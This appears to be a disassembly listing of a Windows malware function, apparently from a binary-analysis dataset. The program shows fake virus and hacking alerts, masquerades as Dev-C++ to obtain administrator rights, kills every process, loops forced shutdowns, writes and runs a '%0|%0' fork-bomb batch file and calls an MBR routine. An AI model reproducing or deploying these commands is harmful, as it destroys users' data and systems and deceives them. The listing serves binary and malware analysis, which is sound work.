Function at 0x1400b1000
Capabilities:
Execute command

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x1f8
mov ebx, ecx
mov rsi, rdx
call dbg.__main
xor ecx, ecx
call dbg.time
mov rcx, rax
call sym.srand
cmp ebx, 1
je 0x1400b149a
cmp ebx, 2
je 0x1400b1050
xor eax, eax
add rsp, 0x1f8
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xor edx, edx
mov ebx, 0x3e8
mov rcx, rax
call qword [sym.imp.USER32.dll_ShowWindow]
mov rdi, qword [sym.imp.USER32.dll_SetCursorPos]
mov rsi, qword [sym.imp.KERNEL32.dll_Sleep]
nop dword [rax]
mov ecx, 0x1f4
mov edx, 0x1f4
call rdi
mov ecx, 0xa
call rsi
sub ebx, 1
jne 0x1400b1078
mov r9d, 0x10
lea r8, str.System_Error
xor ecx, ecx
mov ebx, 0x14
lea rdx, str.Power_Supply_Error.
mov rbp, qword [sym.imp.USER32.dll_MessageBoxA]
lea r14, str.Start
call rbp
mov edx, 0x3e8
mov ecx, 0x3e8
mov r12, qword [sym.imp.KERNEL32.dll_Beep]
call r12
mov r9d, 2
mov r8d, 0xf170
mov edx, 0x112
mov ecx, 0xffff
mov r13, qword [sym.imp.USER32.dll_PostMessageA]
call r13
mov ecx, 0x3e8
call rsi
nop word cs:[rax + rax]
mov rcx, r14
call sym.system
sub ebx, 1
jne 0x1400b1100
xor ecx, ecx
mov r9d, 0x10
lea r8, str.System_Error
lea rdx, str.Error_Messages_Were_Found.
call rbp
xor ecx, ecx
mov r9d, 0x10
lea r8, str.System_Error
lea rdx, str.Viruses_Are_Discovered.
call rbp
xor ecx, ecx
mov r9d, 0x13
lea r8, str.System_Error
lea rdx, str.Whether_To_Carry_Out_A_Search_And_Killing
call rbp
cmp eax, 6
je 0x1400b14e6
cmp eax, 7
je 0x1400b1558
cmp eax, 2
jne 0x1400b103a
mov r9d, 0x10
lea r8, str.System_Error
xor ecx, ecx
mov ebx, 0xa
lea rdx, str.Power_Supply_Error.
lea r15, str.System_Error
call rbp
lea r14, str.Power_Supply_Error.
mov edx, 0x3e8
mov ecx, 0x3e8
call r12
mov r9d, 2
mov r8d, 0xf170
mov edx, 0x112
mov ecx, 0xffff
call r13
mov ecx, 0x3e8
call rsi
xor ecx, ecx
mov r9d, 0x10
mov r8, r15
mov rdx, r14
call rbp
sub ebx, 1
jne 0x1400b11c8
mov ebx, 0x3e8
nop word [rax + rax]
call sym.rand
mov r14d, eax
call sym.rand
movsxd rcx, eax
mov rdx, rcx
imul rcx, rcx, 0x7cd49a17
mov eax, edx
sar eax, 0x1f
sar rcx, 0x29
sub ecx, eax
movsxd rax, r14d
imul rax, rax, 0xffffffff9c09c09d
imul ecx, ecx, 0x41a
shr rax, 0x20
sub edx, ecx
add eax, r14d
mov ecx, r14d
sar ecx, 0x1f
sar eax, 0xa
sub eax, ecx
mov ecx, r14d
imul eax, eax, 0x690
sub ecx, eax
call rdi
mov ecx, 0xa
call rsi
sub ebx, 1
jne 0x1400b11e8
mov r9d, 2
mov r8d, 0xf170
mov edx, 0x112
mov ecx, 0xffff
call r13
xor ecx, ecx
mov r9d, 0x10
lea r8, str.System_Error
lea rdx, str.Error_code_0x0098FA.Error_code_0x0098FB.Error_code_0x0099FA
call rbp
xor ecx, ecx
mov r9d, 0x10
lea r8, str.System_Error
lea rdx, str.Error_code_0x0098FA.Error_code_0x0098FB.Error_code_0x0099FA
call rbp
xor ecx, ecx
mov r9d, 0x10
lea r8, str.System_Error
lea rdx, str.Error_code_0x0098FA.Error_code_0x0098FB.Error_code_0x0099FA
call rbp
xor ecx, ecx
mov r9d, 0x10
lea r8, str.System_Error
lea rdx, str.Error_code_0x0098FA.Error_code_0x0098FB.Error_code_0x0099FA
call rbp
mov r9d, 0x10
lea r8, str.System_Error
xor ecx, ecx
lea rdx, str.Error_code_0x0098FA.Error_code_0x0098FB.Error_code_0x0099FA
call rbp
mov edx, 0x3e8
mov ecx, 0x3e8
call r12
mov r9d, 0x10
xor ecx, ecx
lea r8, str.System_Error
lea rdx, str.Your_Windows_Are_About_To_Log_Out.
call rbp
mov edx, 0x3e8
mov ecx, 0x3e8
call r12
xor ecx, ecx
mov r9d, 0x10
lea r8, str.System_Error
lea rdx, str.Error_code_0x0098FA.Error_code_0x0098FB.Error_code_0x0099FA
call rbp
xor ecx, ecx
mov r9d, 0x10
lea r8, str.System_Error
lea rdx, str.Error_code_0x0098FA.Error_code_0x0098FB.Error_code_0x0099FA
call rbp
xor ecx, ecx
mov r9d, 0x10
lea r8, str.System_Error
lea rdx, str.Error_code_0x0098FA.Error_code_0x0098FB.Error_code_0x0099FA
call rbp
xor ecx, ecx
mov r9d, 0x10
lea r8, str.System_Error
lea rdx, str.Error_code_0x0098FA.Error_code_0x0098FB.Error_code_0x0099FA
call rbp
xor ecx, ecx
mov r9d, 0x10
lea r8, str.System_Error
lea rdx, str.Error_code_0x0098FA.Error_code_0x0098FB.Error_code_0x0099FA
call rbp
xor ecx, ecx
mov r9d, 0x11
lea r8, str.System_Error
lea rdx, str.Your_Computer_Will_Be_Hacked
call rbp
cmp eax, 1
je 0x1400b161d
cmp eax, 2
jne 0x1400b103a
mov r9d, 0x10
lea r8, str.System_Error
xor ecx, ecx
mov ebx, 0xa
lea rdx, str.Power_Supply_Error.
call rbp
mov edx, 0x3e8
mov ecx, 0x3e8
call r12
mov r9d, 2
mov r8d, 0xf170
mov edx, 0x112
mov ecx, 0xffff
lea r12, str.Power_Supply_Error.
call r13
mov ecx, 0x3e8
lea r13, str.System_Error
call rsi
mov r9d, 0x10
lea r8, str.System_Error
xor ecx, ecx
lea rdx, str.Error_code_0x0098FA.Error_code_0x0098FB.Error_code_0x0099FA
call rbp
mov r9d, 0x10
lea r8, [0x1400b6488]
xor ecx, ecx
lea rdx, [0x1400b6489]
call rbp
xor ecx, ecx
mov r9d, 0x10
mov r8, r13
mov rdx, r12
call rbp
sub ebx, 1
jne 0x1400b1437
mov ebp, 0x3e8
mov r13d, 0x41a
mov r12d, 0x690
call sym.rand
mov ebx, eax
call sym.rand
cdq
idiv r13d
mov eax, ebx
mov r8d, edx
cdq
idiv r12d
mov ecx, edx
mov edx, r8d
call rdi
mov ecx, 0xa
call rsi
sub ebp, 1
jne 0x1400b145d
lea rcx, str.taskkill__f__fi__pid_ne_1_
call sym.system
jmp 0x1400b103a
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xor edx, edx
mov rcx, rax
call qword [sym.imp.USER32.dll_ShowWindow]
mov r9d, 0x10
lea r8, str.System_Error
xor ecx, ecx
lea rdx, str.Dev_C_Does_Not_Work_properly_Without_Administrator_Privileges__nPlease_Give_Dev_C_Administrator_Privileges.
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rcx, qword [rsi]
mov r8d, 5
lea rdx, [0x1400b630f]
call dbg.ManagerRun(char const*, char const*, int)
mov eax, 1
jmp 0x1400b103c
mov ebx, 0x1e
lea r13, str.shutdown__s__t_10
lea rdi, str.shutdown__a
nop dword [rax]
mov rcx, r13
call sym.system
mov ecx, 0x3e8
call rsi
mov rcx, rdi
call sym.system
mov ecx, 0xbb8
call rsi
sub ebx, 1
jne 0x1400b1500
mov edx, 0x3e8
mov ecx, 0x3e8
call r12
xor r9d, r9d
lea r8, str.Note
xor ecx, ecx
lea rdx, str.All_Okay.
call rbp
lea rcx, str.shutdown__s__t_0
call sym.system
xor eax, eax
jmp 0x1400b103c
mov r9d, 0x10
lea r8, str.System_Error
xor ecx, ecx
mov ebx, 0x14
lea rdx, str.Power_Supply_Error.
call rbp
mov edx, 0x3e8
mov ecx, 0x3e8
call r12
mov r9d, 2
mov r8d, 0xf170
mov edx, 0x112
mov ecx, 0xffff
call r13
mov ecx, 0x3e8
call rsi
lea rsi, str.Start
mov rcx, rsi
call sym.system
sub ebx, 1
jne 0x1400b15a9
lea r12, [rsp + 0x20]
lea rdx, str.Run.bat
mov r8d, 0x10
mov rcx, r12
call method.std::basic_ofstream_char__std::char_traits_char___.basic_ofstream_char_const__std::_Ios_Openmode_
lea rdx, str._0_0_0_0_0_0_0_0_0_0
mov rcx, r12
call dbg.std::basic_ostream<char, std::char_traits<char> >& std::operator<< <std::char_traits<char> >(std::basic_ostream<char, std::char_traits<char> >&, char const*)
mov rcx, rax
lea rdx, [dbg.std::basic_ostream<char, std::char_traits<char> >& std::endl<char, std::char_traits<char> >(std::basic_ostream<char, std::char_traits<char> >&)]
call dbg.std::ostream::operator<<(std::ostream& (*)(std::ostream&))
mov rcx, r12
call dbg.std::basic_ofstream<char, std::char_traits<char> >::close()
lea rcx, str.shutdown__s__t_100
call sym.system
lea rcx, str.Run.bat
call sym.system
mov rcx, r12
call method.std::basic_ofstream_char__std::char_traits_char___.basic_ofstream__
xor eax, eax
jmp 0x1400b103c
call dbg.MBR()
mov ecx, 0x493e0
call rsi
jmp 0x1400b1489